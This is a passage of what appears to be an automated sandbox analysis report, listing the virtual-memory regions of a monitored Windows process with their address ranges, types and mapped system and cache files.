"private_0x0000000000480000" filename = "" Region: id = 399 start_va = 0x490000 end_va = 0x490fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 400 start_va = 0x4a0000 end_va = 0x4a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 401 start_va = 0x4b0000 end_va = 0x4b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 402 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 403 start_va = 0x4d0000 end_va = 0x4d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 404 start_va = 0x4e0000 end_va = 0x4f2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db") Region: id = 405 start_va = 0x500000 end_va = 0x500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 406 start_va = 0x510000 end_va = 0x511fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 407 start_va = 0x520000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 408 start_va = 0x620000 end_va = 0x638fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000c.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x000000000000000c.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000c.db") Region: id = 409 start_va = 0x640000 end_va = 0x641fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 410 start_va = 0x650000 end_va = 0x67dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 411 start_va = 0x680000 end_va = 0x681fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 412 start_va = 0x690000 end_va = 0x691fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 413 start_va = 0x6a0000 end_va = 0x6a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 414 start_va = 0x6b0000 end_va = 0x6b1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 415 start_va = 0x6c0000 end_va = 0x6c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 416 start_va = 0x6d0000 end_va = 0x6d0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 417 start_va = 0x6f0000 end_va = 0x6f1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 418 start_va = 0x700000 end_va = 0x703fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 419 start_va = 0x720000 end_va = 0x721fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 420 start_va = 0x730000 end_va = 0x733fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 421 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 422 start_va = 0x750000 end_va = 0x8d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 423 start_va = 0x8e0000 end_va = 0xa60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 424 start_va = 0xa70000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 425 start_va = 0x1e70000 end_va = 0x226afff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e70000" filename = "" Region: id = 426 start_va = 0x2270000 end_va = 0x2271fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 427 start_va = 0x2280000 end_va = 0x2280fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 428 start_va = 0x2290000 end_va = 0x2291fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 429 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022a0000" filename = "" Region: id = 430 start_va = 0x22b0000 end_va = 0x22b1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 431 start_va = 0x22c0000 end_va = 0x22c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 432 start_va = 0x22d0000 end_va = 0x22d1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 433 start_va = 0x22e0000 end_va = 0x22e0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{e23b5da4-e3a9-461b-8050-8e471867b572}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{E23B5DA4-E3A9-461B-8050-8E471867B572}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{e23b5da4-e3a9-461b-8050-8e471867b572}.2.ver0x0000000000000001.db") Region: id = 434 start_va = 0x22f0000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 435 start_va = 0x2370000 end_va = 0x2371fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002370000" filename = "" Region: id = 436 start_va = 0x2380000 end_va = 0x2381fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 437 start_va = 0x2390000 end_va = 0x2390fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_256.db") Region: id = 438 start_va = 0x23d0000 end_va = 0x23d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 439 start_va = 0x23e0000 end_va = 0x23e1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 440 start_va = 0x23f0000 end_va = 0x23f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 441 start_va = 0x2400000 end_va = 0x2401fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002400000" filename = "" Region: id = 442 start_va = 0x2410000 end_va = 0x2410fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 443 start_va = 0x2420000 end_va = 0x2420fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 444 start_va = 0x2430000 end_va = 0x2430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 445 start_va = 0x2440000 end_va = 0x2441fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002440000" filename = "" Region: id = 446 start_va = 0x2450000 end_va = 0x2451fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 447 start_va = 0x2460000 end_va = 0x246ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 448 start_va = 0x2470000 end_va = 0x27a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 449 start_va = 0x27b0000 end_va = 0x288ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 450 start_va = 0x2890000 end_va = 0x2890fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 451 start_va = 0x28a0000 end_va = 0x28a1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 452 start_va = 0x28b0000 end_va = 0x28b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windows.storage.dll.mui" filename = "\\Windows\\System32\\en-US\\windows.storage.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\windows.storage.dll.mui") Region: id = 453 start_va = 0x28c0000 end_va = 0x28d7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000d.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x000000000000000d.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000d.db") Region: id = 454 start_va = 0x28e0000 end_va = 0x28e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000028e0000" filename = "" Region: id = 455 start_va = 0x28f0000 end_va = 0x28f0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "counters.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 456 start_va = 0x2930000 end_va = 0x2933fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 457 start_va = 0x2940000 end_va = 0x2940fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{5c9e180f-34bb-4f92-8676-68c88e410c2b}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{5C9E180F-34BB-4F92-8676-68C88E410C2B}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{5c9e180f-34bb-4f92-8676-68c88e410c2b}.2.ver0x0000000000000001.db") Region: id = 458 start_va = 0x2950000 end_va = 0x2953fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 459 start_va = 0x2960000 end_va = 0x2960fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{0fa68fff-8d1f-4fcc-b2fc-0c8384cf8d69}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{0FA68FFF-8D1F-4FCC-B2FC-0C8384CF8D69}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{0fa68fff-8d1f-4fcc-b2fc-0c8384cf8d69}.2.ver0x0000000000000001.db") Region: id = 460 start_va = 0x2970000 end_va = 0x2973fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 461 start_va = 0x2980000 end_va = 0x2980fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3ec13d2a-c75f-4a0a-9855-0b415d40999c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{3EC13D2A-C75F-4A0A-9855-0B415D40999C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{3ec13d2a-c75f-4a0a-9855-0b415d40999c}.2.ver0x0000000000000001.db") Region: id = 462 start_va = 0x2990000 end_va = 0x2a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 463 start_va = 0x2a10000 end_va = 0x2acbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a10000" filename = "" Region: id = 464 start_va = 0x2ad0000 end_va = 0x2bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ad0000" filename = "" Region: id = 465 start_va = 0x2bd0000 end_va = 0x3c0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 466 start_va = 0x3c10000 end_va = 0x3c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c10000" filename = "" Region: id = 467 start_va = 0x3c90000 end_va = 0x3c90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 468 start_va = 0x3ca0000 end_va = 0x3ca0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ca0000" filename = "" Region: id = 469 start_va = 0x3cc0000 end_va = 0x3dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003cc0000" filename = "" Region: id = 470 start_va = 0x3dc0000 end_va = 0x3dc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003dc0000" filename = "" Region: id = 471 start_va = 0x3dd0000 end_va = 0x3ddffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003dd0000" filename = "" Region: id = 472 start_va = 0x3de0000 end_va = 0x3deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003de0000" filename = "" Region: id = 473 start_va = 0x3df0000 end_va = 0x3dfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003df0000" filename = "" Region: id = 474 start_va = 0x3e00000 end_va = 0x3e00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e00000" filename = "" Region: id = 475 start_va = 0x3e10000 end_va = 0x3e10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e10000" filename = "" Region: id = 476 start_va = 0x3e20000 end_va = 0x3e20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e20000" filename = "" Region: id = 477 start_va = 0x3e30000 end_va = 0x3e33fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 478 start_va = 0x3e40000 end_va = 0x3e40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e40000" filename = "" Region: id = 479 start_va = 0x3e50000 end_va = 0x3e53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e50000" filename = "" Region: id = 480 start_va = 0x3e60000 end_va = 0x3e60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 481 start_va = 0x3e70000 end_va = 0x3e71fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e70000" filename = "" Region: id = 482 start_va = 0x3e80000 end_va = 0x3eb8fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e80000" filename = "" Region: id = 483 start_va = 0x3ec0000 end_va = 0x3ec0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ec0000" filename = "" Region: id = 484 start_va = 0x3ed0000 end_va = 0x3ed0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ed0000" filename = "" Region: id = 485 start_va = 0x3ee0000 end_va = 0x3ee1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 486 start_va = 0x3ef0000 end_va = 0x3f37fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 487 start_va = 0x3f40000 end_va = 0x3f4dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f40000" filename = "" Region: id = 488 start_va = 0x3f50000 end_va = 0x3f51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003f50000" filename = "" Region: id = 489 start_va = 0x3f60000 end_va = 0x3f63fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 490 start_va = 0x3f70000 end_va = 0x3fb4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 491 start_va = 0x3fc0000 end_va = 0x3fc3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 492 start_va = 0x3fd0000 end_va = 0x405dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 493 start_va = 0x4060000 end_va = 0x40dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004060000" filename = "" Region: id = 494 start_va = 0x40e0000 end_va = 0x415ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040e0000" filename = "" Region: id = 495 start_va = 0x4160000 end_va = 0x41dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004160000" filename = "" Region: id = 496 start_va = 0x41e0000 end_va = 0x41e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041e0000" filename = "" Region: id = 497 start_va = 0x41f0000 end_va = 0x4238fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041f0000" filename = "" Region: id = 498 start_va = 0x4240000 end_va = 0x4240fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 499 start_va = 0x4250000 end_va = 0x4250fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004250000" filename = "" Region: id = 500 start_va = 0x4260000 end_va = 0x4266fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 501 start_va = 0x4270000 end_va = 0x42effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 502 start_va = 0x4300000 end_va = 0x4301fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004300000" filename = "" Region: id = 503 start_va = 0x4320000 end_va = 0x4320fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 504 start_va = 0x4370000 end_va = 0x43effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 505 start_va = 0x43f0000 end_va = 0x48e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043f0000" filename = "" Region: id = 506 start_va = 0x48f0000 end_va = 0x4aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 507 start_va = 0x4af0000 end_va = 0x4beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004af0000" filename = "" Region: id = 508 start_va = 0x4bf0000 end_va = 0x4bf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004bf0000" filename = "" Region: id = 509 start_va = 0x4c00000 end_va = 0x4c00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 510 start_va = 0x4c10000 end_va = 0x4c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c10000" filename = "" Region: id = 511 start_va = 0x4c20000 end_va = 0x4c20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c20000" filename = "" Region: id = 512 start_va = 0x4c30000 end_va = 0x4c34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 513 start_va = 0x4c40000 end_va = 0x4c4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 514 start_va = 0x4c60000 end_va = 0x4c63fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 515 start_va = 0x4c80000 end_va = 0x4d9cfff monitored = 0 entry_point = 0x4c81cc0 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 516 start_va = 0x4df0000 end_va = 0x4e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004df0000" filename = "" Region: id = 517 start_va = 0x4e70000 end_va = 0x566ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e70000" filename = "" Region: id = 518 start_va = 0x5670000 end_va = 0x5671fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005670000" filename = "" Region: id = 519 start_va = 0x5680000 end_va = 0x5681fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "inputswitch.dll.mui" filename = "\\Windows\\System32\\en-US\\InputSwitch.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\inputswitch.dll.mui") Region: id = 520 start_va = 0x5690000 end_va = 0x5690fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005690000" filename = "" Region: id = 521 start_va = 0x56a0000 end_va = 0x56a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056a0000" filename = "" Region: id = 522 start_va = 0x56b0000 end_va = 0x56b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056b0000" filename = "" Region: id = 523 start_va = 0x56c0000 end_va = 0x56c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056c0000" filename = "" Region: id = 524 start_va = 0x56d0000 end_va = 0x56d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056d0000" filename = "" Region: id = 525 start_va = 0x56f0000 end_va = 0x57effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000056f0000" filename = "" Region: id = 526 start_va = 0x57f0000 end_va = 0x586ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 527 start_va = 0x5870000 end_va = 0x7bf1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "appdb.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\notifications\\appdb.dat") Region: id = 528 start_va = 0x7c00000 end_va = 0x7c08fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c00000" filename = "" Region: id = 529 start_va = 0x7c40000 end_va = 0x7c48fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 530 start_va = 0x7c50000 end_va = 0x7c50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c50000" filename = "" Region: id = 531 start_va = 0x7d60000 end_va = 0x7d61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007d60000" filename = "" Region: id = 532 start_va = 0x7d70000 end_va = 0x7db7fff monitored = 